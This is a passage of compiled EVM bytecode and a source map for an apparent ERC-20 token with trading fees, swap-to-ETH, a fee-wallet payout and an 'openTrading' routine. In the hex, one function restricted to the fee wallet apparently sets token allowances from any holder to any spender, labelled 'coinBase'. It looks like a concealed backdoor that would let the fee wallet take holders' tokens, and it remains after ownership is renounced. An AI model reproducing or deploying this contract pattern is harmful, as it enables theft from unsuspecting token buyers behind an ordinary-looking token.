020908152604080832093909416825291909152205490565b348015610386575f80fd5b50610214610395366004611421565b6107d0565b5f6103a633848461081b565b5060015b92915050565b5f6103bd6009600a61154c565b6103cb90633b9aca0061155a565b905090565b5f6103dc8484846108c7565b61042d843361042885604051806060016040528060288152602001611774602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f38565b61081b565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610456575f80fd5b305f9081526001602052604090205480156104745761047481610f70565b47801561048457610484816110e0565b5050565b5f546001600160a01b031633146104ba5760405162461bcd60e51b81526004016104b190611571565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052b5760405162461bcd60e51b81526004016104b190611571565b6105376009600a61154c565b61054590633b9aca0061155a565b600d556105546009600a61154c565b61056290633b9aca0061155a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105926009600a61154c565b6105a090633b9aca0061155a565b60405190815260200160405180910390a1565b5f6103a63384846108c7565b5f546001600160a01b031633146105e85760405162461bcd60e51b81526004016104b190611571565b601254600160a01b900460ff16156106425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b1565b60115461066e9030906001600160a01b03166106606009600a61154c565b61042890633b9aca0061155a565b6011546001600160a01b031663f305d719473061069f816001600160a01b03165f9081526001602052604090205490565b5f806106b25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610718573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073d91906115a6565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b691906115d1565b506012805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b0316146107ef575f80fd5b6104848160405180604001604052806008815260200167636f696e4261736560c01b8152505f85611117565b6001600160a01b0383166108415760405162461bcd60e51b81526004016104b1906115f0565b6001600160a01b0382166108675760405162461bcd60e51b81526004016104b190611634565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661092b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b1565b6001600160a01b03821661098d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b1565b5f81116109ee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b1565b5f80546001600160a01b03858116911614801590610a1957505f546001600160a01b03848116911614155b15610c7257610a4a6064610a44600954600c5411610a3957600554610a3d565b6007545b8590611196565b9061121b565b6012549091506001600160a01b038581169116148015610a7857506011546001600160a01b03848116911614155b8015610a9c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610b8257600d54821115610af35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b1565b600e5482610b15856001600160a01b03165f9081526001602052604090205490565b610b1f9190611676565b1115610b6d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b1565b600c8054905f610b7c83611689565b91905055505b6012546001600160a01b038481169116148015610ba857506001600160a01b0384163014155b15610bd557610bd26064610a44600a54600c5411610bc857600654610a3d565b6008548590611196565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610c0b57506012546001600160a01b038581169116145b8015610c205750601254600160b01b900460ff165b8015610c2d5750600f5481115b8015610c3c5750600b54600c54115b15610c7057610c5e610c5984610c548460105461125c565b61125c565b610f70565b478015610c6e57610c6e476110e0565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610caf57506001600160a01b0383165f9081526003602052604090205460ff165b8015610cc457506001600160a01b0384163014155b8015610cd957506001600160a01b0383163014155b15610ce357436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610d2357506001600160a01b0383165f9081526003602052604090205460ff16155b15610dfb576012546001600160a01b03848116911614610dc8576001600160a01b038084165f9081526013602052604090206012549091868116911603610d905780545f03610d8b57600b54600c5410610d7d5743610d88565b610d886001436116a1565b81555b610dc2565b6001600160a01b0385165f908152601360205260409020815481541080610db657508154155b15610dc057805482555b505b50610dfb565b6001600160a01b0384165f9081526013602052604090206014548154610dee91906116a1565b6001820155426002909101555b8015610e7357305f90815260016020526040902054610e1a9082611270565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e6a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e9590836112ce565b6001600160a01b0385165f90815260016020526040902055610ed8610eba83836112ce565b6001600160a01b0385165f9081526001602052604090205490611270565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f2185856112ce565b60405190815260200160405180910390a350505050565b5f8184841115610f5b5760405162461bcd60e51b81526004016104b1919061133b565b505f610f6784866116a1565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb657610fb66116b4565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061103191906116c8565b81600181518110611044576110446116b4565b6001600160a01b03928316602091820292909201015260115461106a913091168461081b565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a29085905f908690309042906004016116e3565b5f604051808303815f87803b1580156110b9575f80fd5b505af11580156110cb573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610484573d5f803e3d5ffd5b6001600160a01b03841661113d5760405162461bcd60e51b81526004016104b1906115f0565b6001600160a01b0381166111635760405162461bcd60e51b81526004016104b190611634565b600d546001600160a01b039485165f90815260026020908152604080832094909716825292909252939020929092555050565b5f825f036111a557505f6103aa565b5f6111b0838561155a565b9050826111bd8583611754565b146112145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b1565b9392505050565b5f61121483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130f565b5f81831161126a5782611214565b50919050565b5f8061127c8385611676565b9050838110156112145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b1565b5f61121483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f38565b5f818361132f5760405162461bcd60e51b81526004016104b1919061133b565b505f610f678486611754565b5f602080835283518060208501525f5b818110156113675785810183015185820160400152820161134b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461139b575f80fd5b50565b5f80604083850312156113af575f80fd5b82356113ba81611387565b946020939093013593505050565b5f805f606084860312156113da575f80fd5b83356113e581611387565b925060208401356113f581611387565b929592945050506040919091013590565b5f60208284031215611416575f80fd5b813561121481611387565b5f8060408385031215611432575f80fd5b823561143d81611387565b9150602083013561144d81611387565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114a657815f190482111561148c5761148c611458565b8085161561149957918102915b93841c9390800290611471565b509250929050565b5f826114bc575060016103aa565b816114c857505f6103aa565b81600181146114de57600281146114e857611504565b60019150506103aa565b60ff8411156114f9576114f9611458565b50506001821b6103aa565b5060208310610133831016604e8410600b8410161715611527575081810a6103aa565b611531838361146c565b805f190482111561154457611544611458565b029392505050565b5f61121460ff8416836114ae565b80820281158282048414176103aa576103aa611458565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156115b8575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115e1575f80fd5b81518015158114611214575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b808201808211156103aa576103aa611458565b5f6001820161169a5761169a611458565b5060010190565b818103818111156103aa576103aa611458565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116d8575f80fd5b815161121481611387565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117335784516001600160a01b03168352938301939183019160010161170e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261176e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220faa6b5da8f9b4a82e73d259fd59466397bcf7a2f8ee618478b41819bd238dfb964736f6c63430008170033

3670:9453:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5908:83;;;;;;;;;;-1:-1:-1;5978:5:0;;;;;;;;;;;;-1:-1:-1;;;5978:5:0;;;;5908:83;;;;;;;:::i;:::-;;;;;;;;6741:161;;;;;;;;;;-1:-1:-1;6741:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6741:161:0;1023:187:1;4782:53:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4782:53:0;1215:177:1;6185:95:0;;;;;;;;;;;;;:::i;7244:313::-;;;;;;;;;;-1:-1:-1;7244:313:0;;;;;:::i;:::-;;:::i;6094:83::-;;;;;;;;;;-1:-1:-1;6094:83:0;;4388:1;2000:36:1;;1988:2;1973:18;6094:83:0;1858:184:1;12735:348:0;;;;;;;;;;;;;:::i;:::-;;6288:119;;;;;;;;;;-1:-1:-1;6288:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6381:18:0;6354:7;6381:18;;;:9;:18;;;;;;;6288:119;2753:148;;;;;;;;;;;;;:::i;11680:161::-;;;;;;;;;;;;;:::i;4590:53::-;;;;;;;;;;;;;;;;2539:79;;;;;;;;;;-1:-1:-1;2577:7:0;2604:6;2539:79;;-1:-1:-1;;;;;2604:6:0;;;2445:51:1;;2433:2;2418:18;2539:79:0;2299:203:1;4650:55:0;;;;;;;;;;;;;;;;5999:87;;;;;;;;;;-1:-1:-1;6071:7:0;;;;;;;;;;;;-1:-1:-1;;;6071:7:0;;;;5999:87;;6415:167;;;;;;;;;;-1:-1:-1;6415:167:0;;;;;:::i;:::-;;:::i;4716:59::-;;;;;;;;;;;;;;;;12151:576;;;;;;;;;;;;;:::i;6590:143::-;;;;;;;;;;-1:-1:-1;6590:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6698:18:0;;;6671:7;6698:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6590:143;11948:195;;;;;;;;;;-1:-1:-1;11948:195:0;;;;;:::i;:::-;;:::i;6741:161::-;6816:4;6833:39;1051:10;6856:7;6865:6;6833:8;:39::i;:::-;-1:-1:-1;6890:4:0;6741:161;;;;;:::o;6185:95::-;6238:7;4449:13;4388:1;4449:2;:13;:::i;:::-;4436:26;;:10;:26;:::i;:::-;6258:14;;6185:95;:::o;7244:313::-;7342:4;7359:36;7369:6;7377:9;7388:6;7359:9;:36::i;:::-;7406:121;7415:6;1051:10;7437:89;7475:6;7437:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7437:19:0;;;;;;:11;:19;;;;;;;;1051:10;7437:33;;;;;;;;;;:37;:89::i;:::-;7406:8;:121::i;:::-;-1:-1:-1;7545:4:0;7244:313;;;;;:::o;12735:348::-;12799:10;;-1:-1:-1;;;;;12799:10:0;1051;-1:-1:-1;;;;;12785:24:0;;12777:33;;;;;;12860:4;12821:20;6381:18;;;:9;:18;;;;;;12880:14;;12877:73;;12908:30;12925:12;12908:16;:30::i;:::-;12979:21;13014:12;;13011:65;;13040:24;13053:10;13040:12;:24::i;:::-;12766:317;;12735:348::o;2753:148::-;2666:6;;-1:-1:-1;;;;;2666:6:0;1051:10;2666:22;2658:67;;;;-1:-1:-1;;;2658:67:0;;;;;;;:::i;:::-;;;;;;;;;2860:1:::1;2844:6:::0;;2823:40:::1;::::0;-1:-1:-1;;;;;2844:6:0;;::::1;::::0;2823:40:::1;::::0;2860:1;;2823:40:::1;2891:1;2874:19:::0;;-1:-1:-1;;;;;;2874:19:0::1;::::0;;2753:148::o;11680:161::-;2666:6;;-1:-1:-1;;;;;2666:6:0;1051:10;2666:22;2658:67;;;;-1:-1:-1;;;2658:67:0;;;;;;;:::i;:::-;4449:13:::1;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;:::-;11735:12;:21:::0;4449:13:::1;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;:::-;11767:14;:23:::0;11806:27:::1;4449:13;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;:::-;11806:27;::::0;1361:25:1;;;1349:2;1334:18;11806:27:0::1;;;;;;;11680:161::o:0;6415:167::-;6493:4;6510:42;1051:10;6534:9;6545:6;6510:9;:42::i;12151:576::-;2666:6;;-1:-1:-1;;;;;2666:6:0;1051:10;2666:22;2658:67;;;;-1:-1:-1;;;2658:67:0;;;;;;;:::i;:::-;12215:11:::1;::::0;-1:-1:-1;;;12215:11:0;::::1;;;12214:12;12206:47;;;::::0;-1:-1:-1;;;12206:47:0;;5145:2:1;12206:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12206:47:0::1;4943:347:1::0;12206:47:0::1;12296:15;::::0;12264:58:::1;::::0;12281:4:::1;::::0;-1:-1:-1;;;;;12296:15:0::1;4449:13;4388:1;4449:2;:13;:::i;:::-;4436:26;::::0;:10:::1;:26;:::i;12264:58::-;12333:15;::::0;-1:-1:-1;;;;;12333:15:0::1;:31;12386:21;12441:4;12461:24;12441:4:::0;-1:-1:-1;;;;;6381:18:0;6354:7;6381:18;;;:9;:18;;;;;;;6288:119;12461:24:::1;12500:1;12516::::0;12532:7:::1;2577::::0;2604:6;-1:-1:-1;;;;;2604:6:0;;2539:79;12532:7:::1;12333:247;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12333:247:0;;;-1:-1:-1;;;;;5654:15:1;;;12333:247:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;12554:15:0::1;5868:19:1::0;;;5861:35;5570:19;;12333:247:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12598:13:0::1;::::0;12629:15:::1;::::0;12591:70:::1;::::0;-1:-1:-1;;;12591:70:0;;-1:-1:-1;;;;;12629:15:0;;::::1;12591:70;::::0;::::1;6392:51:1::0;-1:-1:-1;;6459:18:1;;;6452:34;12598:13:0;::::1;::::0;-1:-1:-1;12591:29:0::1;::::0;6365:18:1;;12591:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12672:11:0::1;:18:::0;;-1:-1:-1;;;;12701:18:0;-1:-1:-1;;;12701:18:0;;;12151:576::o;11948:195::-;12059:10;;-1:-1:-1;;;;;12059:10:0;1051;-1:-1:-1;;;;;12045:24:0;;12037:33;;;;;;12081:54;12093:15;12081:54;;;;;;;;;;;;;-1:-1:-1;;;12081:54:0;;;12122:1;12125:9;12081:11;:54::i;7565:335::-;-1:-1:-1;;;;;7658:19:0;;7650:68;;;;-1:-1:-1;;;7650:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7737:21:0;;7729:68;;;;-1:-1:-1;;;7729:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7808:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7860:32;;1361:25:1;;;7860:32:0;;1334:18:1;7860:32:0;;;;;;;7565:335;;;:::o;7908:3165::-;-1:-1:-1;;;;;7996:18:0;;7988:68;;;;-1:-1:-1;;;7988:68:0;;7789:2:1;7988:68:0;;;7771:21:1;7828:2;7808:18;;;7801:30;7867:34;7847:18;;;7840:62;-1:-1:-1;;;7918:18:1;;;7911:35;7963:19;;7988:68:0;7587:401:1;7988:68:0;-1:-1:-1;;;;;8075:16:0;;8067:64;;;;-1:-1:-1;;;8067:64:0;;8195:2:1;8067:64:0;;;8177:21:1;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:33;8367:19;;8067:64:0;7993:399:1;8067:64:0;8159:1;8150:6;:10;8142:64;;;;-1:-1:-1;;;8142:64:0;;8599:2:1;8142:64:0;;;8581:21:1;8638:2;8618:18;;;8611:30;8677:34;8657:18;;;8650:62;-1:-1:-1;;;8728:18:1;;;8721:39;8777:19;;8142:64:0;8397:405:1;8142:64:0;8219:17;2604:6;;-1:-1:-1;;;;;8255:15:0;;;2604:6;;8255:15;;;;:32;;-1:-1:-1;2577:7:0;2604:6;-1:-1:-1;;;;;8274:13:0;;;2604:6;;8274:13;;8255:32;8251:1253;;;8316:96;8408:3;8316:87;8358:15;;8346:9;;:27;8345:57;;8388:14;;8345:57;;;8375:12;;8345:57;8316:6;;:28;:87::i;:::-;:91;;:96::i;:::-;8441:13;;8304:108;;-1:-1:-1;;;;;;8433:21:0;;;8441:13;;8433:21;:55;;;;-1:-1:-1;8472:15:0;;-1:-1:-1;;;;;8458:30:0;;;8472:15;;8458:30;;8433:55;:83;;;;-1:-1:-1;;;;;;8494:22:0;;;;;;:18;:22;;;;;;;;8492:24;8433:83;8429:312;;;8555:12;;8545:6;:22;;8537:60;;;;-1:-1:-1;;;8537:60:0;;9009:2:1;8537:60:0;;;8991:21:1;9048:2;9028:18;;;9021:30;9087:27;9067:18;;;9060:55;9132:18;;8537:60:0;8807:349:1;8537:60:0;8650:14;;8640:6;8624:13;8634:2;-1:-1:-1;;;;;6381:18:0;6354:7;6381:18;;;:9;:18;;;;;;;6288:119;8624:13;:22;;;;:::i;:::-;:40;;8616:79;;;;-1:-1:-1;;;8616:79:0;;9493:2:1;8616:79:0;;;9475:21:1;9532:2;9512:18;;;9505:30;9571:28;9551:18;;;9544:56;9617:18;;8616:79:0;9291:350:1;8616:79:0;8714:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8429:312;8764:13;;-1:-1:-1;;;;;8760:17:0;;;8764:13;;8760:17;:41;;;;-1:-1:-1;;;;;;8781:20:0;;8796:4;8781:20;;8760:41;8757:194;;;8834:101;8931:3;8834:92;8878:16;;8868:9;;:26;8867:58;;8910:15;;8867:58;;;8896:13;;8834:6;;:32;:92::i;:101::-;8822:113;;8757:194;9016:4;8967:28;6381:18;;;:9;:18;;;;;;9042:6;;-1:-1:-1;;;9042:6:0;;;;9041:7;:29;;;;-1:-1:-1;9057:13:0;;-1:-1:-1;;;;;9051:19:0;;;9057:13;;9051:19;9041:29;:44;;;;-1:-1:-1;9074:11:0;;-1:-1:-1;;;9074:11:0;;;;9041:44;:105;;;;;9129:17;;9106:20;:40;9041:105;:139;;;;;9162:18;;9150:9;;:30;9041:139;9037:456;;;9215:69;9232:51;9236:6;9244:38;9248:20;9270:11;;9244:3;:38::i;:::-;9232:3;:51::i;:::-;9215:16;:69::i;:::-;9332:21;9376:22;;9372:106;;9423:35;9436:21;9423:12;:35::i;:::-;9196:297;9037:456;8289:1215;8251:1253;-1:-1:-1;;;;;9520:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;9547:22:0;;;;;;:18;:22;;;;;;;;9520:49;9519:76;;;;-1:-1:-1;;;;;;9575:20:0;;9590:4;9575:20;;9519:76;:98;;;;-1:-1:-1;;;;;;9599:18:0;;9612:4;9599:18;;9519:98;9516:157;;;9649:12;9634;:27;9516:157;-1:-1:-1;;;;;9690:24:0;;;;;;:18;:24;;;;;;;;9688:26;:67;;;;-1:-1:-1;;;;;;9733:22:0;;;;;;:18;:22;;;;;;;;9731:24;9688:67;9685:1026;;;9786:13;;-1:-1:-1;;;;;9786:19:0;;;:13;;:19;9782:918;;-1:-1:-1;;;;;9859:15:0;;;9827:29;9859:15;;;:11;:15;;;;;9897:13;;9859:15;;9897:21;;;:13;;:21;9893:545;;9947:21;;;:26;9943:164;;10036:18;;10026:9;;:28;:57;;10071:12;10026:57;;;10055:15;10069:1;10055:12;:15;:::i;:::-;10002:81;;9943:164;9893:545;;;-1:-1:-1;;;;;10191:17:0;;10155:33;10191:17;;;:11;:17;;;;;10263:21;;10235:25;;:49;;:81;;-1:-1:-1;10290:21:0;;:25;10235:81;10231:188;;;10370:25;;10346:49;;10231:188;10132:306;9893:545;9808:645;9782:918;;;-1:-1:-1;;;;;10514:17:0;;10478:33;10514:17;;;:11;:17;;;;;10606:12;;10579:25;;:39;;10606:12;10579:39;:::i;:::-;10550:26;;;:68;10669:15;10637:29;;;;:47;9782:918;10727:13;;10723:168;;10800:4;10782:24;;;;:9;:24;;;;;;:39;;10811:9;10782:28;:39::i;:::-;10775:4;10757:24;;;;:9;:24;;;;;;;:64;;;;10841:38;;-1:-1:-1;;;;;10841:38:0;;;;;;;10869:9;1361:25:1;;1349:2;1334:18;;1215:177;10841:38:0;;;;;;;;10723:168;-1:-1:-1;;;;;10917:15:0;;;;;;:9;:15;;;;;;:27;;10937:6;10917:19;:27::i;:::-;-1:-1:-1;;;;;10901:15:0;;;;;;:9;:15;;;;;:43;10970:40;10988:21;:6;10999:9;10988:10;:21::i;:::-;-1:-1:-1;;;;;10970:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10956:13:0;;;;;;;:9;:13;;;;;:54;;;;11026:39;;;11043:21;:6;11054:9;11043:10;:21::i;:::-;11026:39;;1361:25:1;;;1349:2;1334:18;11026:39:0;;;;;;;7977:3096;7908:3165;;;:::o;1431:190::-;1517:7;1553:12;1545:6;;;;1537:29;;;;-1:-1:-1;;;1537:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1577:9:0;1589:5;1593:1;1589;:5;:::i;:::-;1577:17;1431:190;-1:-1:-1;;;;;1431:190:0:o;11189:483::-;5318:6;:13;;-1:-1:-1;;;;5318:13:0;-1:-1:-1;;;5318:13:0;;;11291:16:::1;::::0;;11305:1:::1;11291:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11291:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11291:16:0::1;11267:40;;11336:4;11318;11323:1;11318:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11318:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11362:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11362:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11318:7;;11362:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11352:4;11357:1;11352:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11352:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11427:15:::1;::::0;11395:62:::1;::::0;11412:4:::1;::::0;11427:15:::1;11445:11:::0;11395:8:::1;:62::i;:::-;11468:15;::::0;:196:::1;::::0;-1:-1:-1;;;11468:196:0;;-1:-1:-1;;;;;11468:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11549:11;;11468:15:::1;::::0;11591:4;;11618::::1;::::0;11638:15:::1;::::0;11468:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5354:6:0;:14;;-1:-1:-1;;;;5354:14:0;;;-1:-1:-1;;;;11189:483:0:o;11849:91::-;11905:10;;:27;;-1:-1:-1;;;;;11905:10:0;;;;:27;;;;;11925:6;;11905:10;:27;:10;:27;11925:6;11905:10;:27;;;;;;;;;;;;;;;;;;;6910:326;-1:-1:-1;;;;;7036:19:0;;7028:68;;;;-1:-1:-1;;;7028:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7115:21:0;;7107:68;;;;-1:-1:-1;;;7107:68:0;;;;;;;:::i;:::-;7216:12;;-1:-1:-1;;;;;7186:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:42;;;;-1:-1:-1;;6910:326:0:o;1629:246::-;1687:7;1711:1;1716;1711:6;1707:47;;-1:-1:-1;1741:1:0;1734:8;;1707:47;1764:9;1776:5;1780:1;1776;:5;:::i;:::-;1764:17;-1:-1:-1;1809:1:0;1800:5;1804:1;1764:17;1800:5;:::i;:::-;:10;1792:56;;;;-1:-1:-1;;;1792:56:0;;11848:2:1;1792:56:0;;;11830:21:1;11887:2;11867:18;;;11860:30;11926:34;11906:18;;;11899:62;-1:-1:-1;;;11977:18:1;;;11970:31;12018:19;;1792:56:0;11646:397:1;1792:56:0;1866:1;1629:246;-1:-1:-1;;;1629:246:0:o;1883:132::-;1941:7;1968:39;1972:1;1975;1968:39;;;;;;;;;;;;;;;;;:3;:39::i;11081:100::-;11138:7;11167:1;11163;:5;11162:11;;11172:1;11162:11;;;-1:-1:-1;11170:1:0;11081:100;-1:-1:-1;11081:100:0:o;1100:179::-;1158:7;;1190:5;1194:1;1190;:5;:::i;:::-;1178:17;;1219:1;1214;:6;;1206:46;;;;-1:-1:-1;;;1206:46:0;;12250:2:1;1206:46:0;;;12232:21:1;12289:2;12269:18;;;12262:30;12328:29;12308:18;;;12301:57;12375:18;;1206:46:0;12048:351:1;1287:136:0;1345:7;1372:43;1376:1;1379;1372:43;;;;;;;;;;;;;;;;;:3;:43::i;2023:189::-;2109:7;2144:12;2137:5;2129:28;;;;-1:-1:-1;;;2129:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2168:9:0;2180:5;2184:1;2180;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160